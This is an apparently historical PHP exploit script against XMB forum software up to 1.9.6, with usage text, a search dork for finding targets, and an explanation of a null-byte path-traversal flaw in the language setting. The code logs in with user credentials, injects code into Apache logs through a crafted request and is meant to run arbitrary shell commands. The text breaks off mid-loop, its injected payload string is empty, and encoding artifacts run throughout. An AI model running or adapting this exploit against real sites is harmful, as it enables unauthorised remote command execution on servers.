|
#!/usr/bin/php -q -d short_open_tag=on=0D
=0D
echo "XMB <= 1.9.6 Final basename() 'langfilenew' arbitrary local inclusion / remote commands xctn\n";=0D
echo "by rgod rgod@autistici.org\n";=0D
echo "site: http://retrogod.altervista.org\n";=0D
echo "dork: \"Powered by XMB\"\n\n";=0D
=0D
/*=0D
works regardless of php.ini settings=0D
*/=0D
=0D
if ($argc<6) {=0D
echo "Usage: php ".$argv[0]." host path username password cmd OPTIONS\n";=0D
echo "host: target server (ip/hostname)\n";=0D
echo "path: path to XMB \n";=0D
echo "user/pass: you need a valid user account\n";=0D
echo "cmd: a shell command\n";=0D
echo "Options:\n";=0D
echo " -p[port]: Specify a port other than 80\n";=0D
echo " -P[ip:port]: \" a proxy\n";=0D
echo "Examples:\r\n";=0D
echo "php ".$argv[0]." localhost /xmb/ user pass ls -la\n";=0D
echo "php ".$argv[0]." localhost /xmb/Files/ user pass ls -la\n";=0D
die;=0D
}=0D
=0D
/*=0D
software site: http://www.xmbforum.com/=0D
=0D
vulnerable code in memcp.php at lines 331-333:=0D
=0D
...=0D
if ( !file_exists(ROOT.'/lang/'.basename($langfilenew).'.lang.php') ) {=0D
$langfilenew = $SETTINGS['langfile'];=0D
}=0D
...=0D
=0D
this check, when you update your profile and select a new language, can be=0D
bypassed by supplying a well crafted value for langfilenew argument, ex:=0D
=0D
../../../../../../../apache/logs/access.log[null char]/English=0D
=0D
basename() returns 'English' and English.lang.php is an existing file in lang/=0D
folder, now=0D
=0D
../../../../../../../apache/logs/access.log[null char]=0D
=0D
string is stored in xmb_members table so, every time you are logged in,=0D
u can include an arbitrary file from=0D
local resources because in header.php we have this line=0D
=0D
require ROOT."lang/$langfile.lang.php";=0D
=0D
and this works regardless of php.ini settings because of the ending null char=0D
stored in database=0D
=0D
this tool injects some code in Apache log files and tries to launch commands=0D
*/=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
$result='';$exa='';$cont=0;=0D
for ($i=0; $i<=strlen($string)-1; $i++)=0D
{=0D
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
{$result.=" .";}=0D
else=0D
{$result.=" ".$string[$i];}=0D
if (strlen(dechex(ord($string[$i])))==2)=0D
{$exa.=" ".dechex(ord($string[$i]));}=0D
else=0D
{$exa.=" 0".dechex(ord($string[$i]));}=0D
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
}=0D
return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
global $proxy, $host, $port, $html, $proxy_regex;=0D
if ($proxy=='') {=0D
$ock=fsockopen(gethostbyname($host),$port);=0D
if (!$ock) {=0D
echo 'No response from '.$host.':'.$port; die;=0D
}=0D
}=0D
else {=0D
$c = preg_match($proxy_regex,$proxy);=0D
if (!$c) {=0D
echo 'Not a valid proxy...';die;=0D
}=0D
$parts=explode(':',$proxy);=0D
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
$ock=fsockopen($parts[0],$parts[1]);=0D
if (!$ock) {=0D
echo 'No response from proxy...';die;=0D
}=0D
}=0D
fputs($ock,$packet);=0D
if ($proxy=='') {=0D
$html='';=0D
while (!feof($ock)) {=0D
$html.=fgets($ock);=0D
}=0D
}=0D
else {=0D
$html='';=0D
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
$html.=fread($ock,1);=0D
}=0D
}=0D
fclose($ock);=0D
#debug=0D
#echo "\r\n".$html;=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$user=urlencode($argv[3]);=0D
$pass=urlencode($argv[4]);=0D
$cmd="";=0D
$port=80;=0D
$proxy="";=0D
for ($i=5; $i<$argc; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}=0D
if ($temp=="-p")=0D
{=0D
$port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
$proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
}=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D
=0D
$CODE ='';=0D
$packet="GET ".$p.$CODE." HTTP/1.1\r\n";=0D
$packet.="User-Agent: ".$CODE."\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: close\r\n\r\n";=0D
sendpacketii($packet);=0D
=0D
$data ="username=".$user;=0D
$data.="&password=".$pass;=0D
$data.="&hide=1";=0D
$data.="&secure=yes";=0D
$data.="&loginsubmit=Login";=0D
$packet ="POST ".$p."misc.php?action=login HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: Close\r\n";=0D
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";=0D
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";=0D
$packet.=$data;=0D
sendpacketii($packet);=0D
$temp=explode("Set-Cookie: ",$html);=0D
$cookie="";=0D
for ($i=1; $i